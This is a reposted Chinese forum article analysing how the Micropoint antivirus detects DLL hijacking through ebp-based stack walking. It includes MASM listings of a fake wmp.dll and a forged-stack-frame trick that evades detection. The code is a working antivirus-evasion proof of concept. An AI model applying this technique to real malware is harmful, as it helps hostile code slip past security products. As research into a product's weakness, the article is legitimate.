本帖最后由 a445441 于 2011-7-26 10:23 编辑
转帖地址:http://www.cnblogs.com/syscoder/articles/1677184.html
分析微点对dll劫持的处理
由于想看看微点对dll劫持是怎么处理的,所以抽了点时间对微点针对这方面的处理进行了一下分析,恩!据我所知其它杀毒软件针对这个方面貌似没有处理,呵呵。所以只是分析微点是怎么处理的。
什么是dll劫持
所谓dll劫持其实很简单,系统加载某些dll时候会首先在程序所在目录查找该dll是否存在,若存在就会加载该dll,l例如进程本来该加载system32下的abc.dll,但是程序所在目录又有一个abc.dll,那么程序就会加载本目录的abc.dll,而不会加载system32下的本来该加载的abc.dll,所以dll劫持就诞生了,同时注意并不是所有dll都可以劫持,像user32.dll等重要的dll是不可以的,程序总是会加载system32下的系统dll。
一个进程能不能加载两个名称相同但路径不相同的dll呢?一般情况下是不可能的,当一个abc.dll加载成功后,那么再去加载同名的abc.dll是不会成功的,这样只会增加其加载计数而已,不过特殊情况还是可以加载两个同名的dll的,当在abc.dll加载时,在abc.dll的DLLEntry中去加载同名的abc.dll是会成功的,因为这时当DLLEntry返回成功时才意味着该dll的成功加载,所以在DLLEntry中加载一个同名的dll时,系统并不会认为已经有一个同名dll已加载,加载完一个同名dll后,DLLEntry返回一个TRUE,这是会发现加载了两个同名dll,测试效果如图1:
为什么要分析怎么加载两个同名的dll呢?呵呵,因为微点就是这么判断dll劫持的,微点认为假冒的dll必然要加载真正的dll,因为假冒的dll会调用真正的dll来完成调用转发,不然当进程调用某些功能会失败,假冒的dll要起到一个桥梁的作用,鉴于微点对该行为的查杀机制,所以接下来的测试都以该规格进行测试。
下面开始模拟一下dll的劫持,因为不知道那些dll是可以劫持的,所以我们用dll注入的方法来模拟dll的劫持效果,把一个dll注入到IE进程中,注入的dll加载IE文件目录中的abc.dll,然后abc.dll加载system32目录下的abc.dll来完成模拟dll劫持的效果,我们先以system32目录下的wmp.dll劫持为例,写段代码进行测试,关于dll注入的过程就不再解释啦,假冒的wmp.Dll代码如下,代码1如下:
.386
.model flat,stdcall
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
.data
dllname db 'c:\windows\system32\wmp.dll',0
.code
TestWei proc
push ebp
mov ebp,esp
invoke LoadLibrary,offset dllname
pop ebp
ret
TestWei endp
DllEntry proc histance:HINSTANCE ,fdwReason:dword,fimpload:dword
.if fdwReason==DLL_PROCESS_ATTACH
invoke TestWei
.endif
mov eax,1
ret
DllEntry endp
end DllEntry
编译上面代码,把生成的dll重命名为wmp.dll并复制到IE进程所在的目录,打开IE进程后模拟dll劫持效果,微点会“报未知木马”如图2:
上图可以看到微点认为是病毒,当然这里都是满足条件测试的,若假冒的wmp.dll没有加载真正的wmp.dll,那么是不会受到查杀的,呵呵,若加载得是修改过名字的系统真正wmp.dll,微点也不会查杀,可见微点对这方面的查杀有很大不足。不过我们的测试还是在满足微点查杀机制的情况下测试,修改上面的代码1,修改成的代码如下(代码2):
.386
.model flat,stdcall
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
.data
dllname db 'c:\windows\system32\wmp.dll',0
.code
TestWei proc
invoke LoadLibrary,offset dllname
ret
TestWei endp
DllEntry proc histance:HINSTANCE ,fdwReason:dword,fimpload:dword
.if fdwReason==DLL_PROCESS_ATTACH
invoke TestWei
.endif
mov eax,1
ret
DllEntry endp
end DllEntry
编译上面的代码,把生成的dll重新测试,却发现这次微点却不查杀了,我们成功加载了两个同名的wmp.dll, 这是为什么呢?难道代码有什么区别吗?对比一下就可以发现,代码1和代码2其实没有什么大的不同,唯一的不同之处是TestWei函数中代码2比代码1少了下面的代码:
Push ebp
Mov ebp,esp
事实上,上面代码是查杀的关键,但微点不是把它当特征码来杀的,仔细想想这两句代码改变了什么呢?以至于会影响微点的判断力,也不兜圈子了,呵呵,你要知道微点会使用堆栈回溯来定位调用着,那么上面的情况就可以解释了,上面两句代码就改变了线程的堆栈,从而影响了微点堆栈回溯的查杀效果,可以判断的是微点是通过ebp实现堆栈回溯的,为了能表示明白,画张图展示一下,如图3:
上面的图可以折射出微点堆栈回溯的杀毒机制,图画的不好,呵呵,那么下面分析代码1和代码2为什么一个杀而一个不杀的原因,因为微点通过回溯到达LoadLibrary调用处时,此时已经到了假冒的dll中,此时的返回地址已到假冒的dll中,但微点不敢轻易判断其为病毒,因为exe可能调用了该dll,所以微点会继续向上回溯,若发现继续向上回溯的返回地址又到了该dll中,那么就会判断其为病毒,而代码1继续向上回溯的返回地址确实是在DLLEntry中,在假冒的dll中,所以微点会判断其为病毒,而代码2使用的ebp是DLLEntry的ebp,而该ebp通过回溯取得的返回地址在ntdll中,并且继续向上回溯返回地址不会再回到假冒的dll中,所以微点认为是exe进程调用了该dll,并认为是合法的,所以就产生了不同的处理结果,这样照成的结果是在DLLEntry中调用LoadLibrary都是被认为合法的,因为使用的是DLLEntry中的ebp,呵呵,微点在处理这个问题上存在很大的不足。
简单绕过查杀机制
知道了原理当然很容易绕过,因为在用户态下,我们可以随意控制代码的流向,可以通过伪造ebp及返回地址来欺骗微点的回溯判断了,下面还是在满足测试条件下测试,其实代码2已经绕过了,在这只是做个示范,就是通过伪造ebp和返回地址,让微点在回溯过程中取得错误的ebp和返回地址,从而导致微点不得不停止堆栈回溯,那么修改代码1如下:
.386
.model flat,stdcall
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
.data
dllname db 'c:\windows\system32\wmp.dll',0
.code
TestWei proc
Push ebp ;保存ebp
Push 0 ;伪造返回地址为0
Push 0 ;伪造ebp,微点会取得该值
Mov ebp,esp
invoke LoadLibrary,offset dllname
;恢复堆栈,以便程序正常执行
pop eax
pop eax
pop ebp
ret
TestWei endp
DllEntry proc histance:HINSTANCE ,fdwReason:dword,fimpload:dword
.if fdwReason==DLL_PROCESS_ATTACH
invoke TestWei
.endif
mov eax,1
ret
DllEntry endp
end DllEntry
上面代码通过push 0伪造了返回地址和ebp,微点取得返回地址为0和ebp为0后,将无法正常进行堆栈回溯,最后恢复堆栈,以便程序正常执行,上面代码生成的文件测试,发现微点没有杀。看来已经起了作用。针对ebp进行堆栈回溯的方法来定位调用者的弱点已经很明显了。而且这种情况很难处理。
微点保存了系统目录结构
俗话说:牵一发而动全身,通过dll劫持的分析,无意间还可以发现微点的其它情况,微点保存了系统详细的目录结构,当然这里只是推测而已,呵呵,下面做个测试,把windows目录的一个有微软数字签名的dll复制到system32目录中,并对其进行dll劫持测试,发现微点没有查杀,为什么呢?可能微点保存了系统的目录结构,知道system32目录下本来的文件是那些,那些本来是不存在的,微点之所以保存了系统关键目录的结构应该有它的的作用,其实它的作用也可以猜到,当某个病毒要对系统文件进行操作时,微点会去查询保存的系统目录,若保存的系统目录中有该系统文件,那么应当不容许其它进程修改或重命名的,否则对其操作的进程可能就是病毒或木马,在我看来保存系统目录是一个很好的防毒方案,微点在这个方面很是很不错的。这个有时间再测试。
上面简单分析了微点的一下查杀机制,有的地方只是推测,所以错误在所难免。 |